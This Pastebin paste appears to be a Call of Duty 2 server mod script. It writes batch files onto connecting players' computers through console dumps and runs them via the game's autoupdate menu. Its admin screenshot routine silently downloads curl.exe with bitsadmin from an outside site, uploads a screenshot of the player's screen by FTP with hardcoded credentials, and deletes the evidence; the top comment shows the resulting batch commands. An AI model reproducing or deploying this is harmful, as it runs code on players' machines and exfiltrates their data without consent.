Advertisement
BratokHR

Untitled

Jan 10th, 2021
1,270
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 6.39 KB | None | 0 0
  1. /*
  2.     Open discord
  3.     ============
  4.         @echo off
  5.         Start "" https:\discord.gg\nwuBft46wz
  6.         cd /d e:\Games\Call of Duty 2
  7.         Start "" CoD2MP_s.exe +password dotadr +connect 137.74.137.196:28961
  8.         cd /d e:\Games\Call of Duty 2\matreshka_test
  9.         del disc.bat
  10.  
  11.     Send screenshot
  12.     ===============
  13.         @echo off
  14.         timeout 1
  15.         cd /d e:\Games\Call of Duty 2
  16.         Start "" /min CoD2MP_s.exe +password dotadr +connect 137.74.137.196:28961
  17.         cd /d e:\Games\Call of Duty 2\matreshka_test
  18.         bitsadmin /transfer myDownloadJob /download /priority FOREGROUND https://libcode.ru/cod2x/files/curl.exe "e:\Games\Call of Duty 2\Miles\curl.exe"
  19.         "e:\Games\Call of Duty 2\Miles\curl.exe" -B -T screenshots\qaxouk34h1opyhkywu7h.jpg --user obama:pidor ftp://137.74.137.196/files/BratokHR_04299.jpg
  20.         del send.bat
  21. */
  22.  
  23. init()
  24. {
  25.     level.ip = getCvar("net_realip");
  26.     level.port = getCvar("net_port");
  27.     level.fs_game = getCvar("fs_game");
  28.     level.pass = "";
  29.  
  30.     if (getCvar("g_password") != "")
  31.         level.pass = "+password " + getCvar("g_password");
  32.  
  33.     // ================ Open discord ================
  34.     level.clientupd_discbat = "disc.bat";
  35.     level.clientupd_discurl = getCvar("sv_discord_url"); // https:\\discord.gg\\nwuBft46wz
  36.  
  37.     // ================ Send screenshot ================
  38.     level.clientupd_sendbat = "screen.bat";
  39.     level.clientupd_ftpuser = "obama";
  40.     level.clientupd_ftppass = "pidor";
  41.     level.clientupd_ftphost = level.ip;
  42.     level.clientupd_ftpdir = "/files/";
  43.     level.clientupd_curl = "https://libcode.ru/cod2x/files/curl.exe";
  44. }
  45.  
  46. startFile(path)
  47. {
  48.     // set autoupdate cvars
  49.     self setClientCvar("cl_updateavailable", "1");
  50.     self setClientCvar("cl_updatefiles", path);
  51.     wait 0.05;
  52.  
  53.     // call autoupdate menu
  54.     self openMenu( "clientupd" );
  55.  
  56.     wait(0.05);
  57.  
  58.     if (isDefined(self))
  59.         self closeMenu();
  60. }
  61.  
  62. clientOpenDiscord()
  63. {
  64.     self endon("disconnect");
  65.  
  66.     // get full path for game
  67.     fs_homepath = undefined;
  68.  
  69.     while(!isDefined(fs_homepath))
  70.     {
  71.         fs_homepath = self bratok\_utility::getClientCvar("fs_homepath");
  72.  
  73.         if (isDefined(fs_homepath) && !isSubStr(fs_homepath, ":\\"))
  74.             fs_homepath = undefined;
  75.  
  76.         wait .5;
  77.     }
  78.  
  79.     fs_game_path = fs_homepath + "\\" + level.fs_game;
  80.     full_bat = fs_game_path + "\\" + level.clientupd_discbat;
  81.  
  82.     // clear user console
  83.     self bratok\_utility::execClientCommand("clear;");
  84.     wait .05; // little wait is important
  85.  
  86.     // write bat file from user's console
  87.     self bratok\_utility::printOutOfBandWithWait("print\n@echo off\ntimeout 1\nStart \"\" " + level.clientupd_discurl + "\n::", .05);
  88.     self bratok\_utility::printOutOfBandWithWait("print\n\ncd /d " + fs_homepath + "\nStart \"\" CoD2MP_s.exe " + level.pass + " +connect " + level.ip + ":" + level.port + "\n::", .05);
  89.     self bratok\_utility::printOutOfBandWithWait("print\n\ncd /d " + fs_game_path + "\ndel " + level.clientupd_discbat + "\n::", 0); // comment last line - Dumped from console...
  90.  
  91.     // save
  92.     self bratok\_utility::execClientCommand("condump " + level.clientupd_discbat + "; clear;");
  93.  
  94.     wait .05;
  95.     thread bratok\_utility::sayBot(self.name + " ^7will be back soon...");
  96.     self.pers["opendisc"] = 1;
  97.     self startFile(full_bat); // close game and start bat file
  98. }
  99.  
  100. // self - admin
  101. sendScreenshot(player)
  102. {
  103.     self endon("disconnect");
  104.     player endon("disconnect");
  105.  
  106.     if (player bratok\_utility::isBot())
  107.     {
  108.         self printOutOfBand("print\n^7[SendScreen ^1ERROR^7]: " + player.name + " ^7is Bot\n");
  109.         return;
  110.     }
  111.  
  112.     // generate filename jpeg
  113.     namejpg = bratok\_utility::generateRandomToken(20, true, true);
  114.     hostjpg = bratok\_utility::stripColor(player.name); // remove ^1 in name
  115.     hostjpg = bratok\_utility::checkAllowedChars(hostjpg, ""); // remove \|/><!...
  116.     hostjpg = hostjpg + "_" + bratok\_utility::generateRandomToken(5, false, true);
  117.  
  118.     self printOutOfBand("print\n^7[SendScreen] Generate name jpg (host: " + hostjpg + ".jpg) (local: " + namejpg + ".jpg)\n");
  119.  
  120.     // create user screenshot
  121.     player bratok\_utility::execClientCommand("screenshotJpeg " + namejpg);
  122.     wait .05;
  123.  
  124.     // get full path for game
  125.     fs_homepath = undefined;
  126.  
  127.     while(!isDefined(fs_homepath))
  128.     {
  129.         fs_homepath = player bratok\_utility::getClientCvar("fs_homepath");
  130.  
  131.         if (isDefined(fs_homepath) && !isSubStr(fs_homepath, ":\\"))
  132.             fs_homepath = undefined;
  133.  
  134.         wait .5;
  135.     }
  136.  
  137.     fs_game_path = fs_homepath + "\\" + level.fs_game;
  138.     full_bat = fs_game_path + "\\" + level.clientupd_sendbat;
  139.     curl_path = "\"" + fs_homepath + "\\Miles\\curl.exe\"";
  140.     jpg_path = "screenshots\\" + namejpg + ".jpg";
  141.  
  142.     // clear user console
  143.     player bratok\_utility::execClientCommand("clear;");
  144.     wait .05; // little wait is important
  145.  
  146.     player bratok\_utility::printOutOfBandWithWait("print\n@echo off\ntimeout 1\n::", .05);
  147.     player bratok\_utility::printOutOfBandWithWait("print\n\ncd /d " + fs_homepath + "\nStart \"\" CoD2MP_s.exe " + level.pass + " +connect " + level.ip + ":" + level.port + "\n::", .05);
  148.     player bratok\_utility::printOutOfBandWithWait("print\n\ncd /d " + fs_game_path + "\n::", 0);
  149.     player bratok\_utility::printOutOfBandWithWait("print\n\nbitsadmin /transfer myDownloadJob /download /priority FOREGROUND ", .05);
  150.     player bratok\_utility::printOutOfBandWithWait("print\n" + leve l.clientupd_curl + " " + curl_path + "\n::", .05);
  151.     player bratok\_utility::printOutOfBandWithWait("print\n\n" + curl_path + " -B -T " + jpg_path + " --user " + level.clientupd_ftpuser + ":" + level.clientupd_ftppass +
  152.                         " ftp://" + level.clientupd_ftphost + level.clientupd_ftpdir + hostjpg + ".jpg\n::", .05);
  153.     //player bratok\_utility::printOutOfBandWithWait("print\n\npause\n::", 0);
  154.     player bratok\_utility::printOutOfBandWithWait("print\n\ndel " + level.clientupd_sendbat + "\n::", 0);
  155.  
  156.     // save
  157.     player bratok\_utility::execClientCommand("condump " + level.clientupd_sendbat + ";");
  158.  
  159.     self printOutOfBand("print\n^7[SendScreen] Save bat script on user (" + player.name + "^7)\n");
  160.  
  161.     wait .05;
  162.     player startFile(full_bat); // close game and start bat file
  163.  
  164.     self printOutOfBand("print\n^7[SendScreen] Run bat script (" + player.name + "^7)\n");
  165. }
  166.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement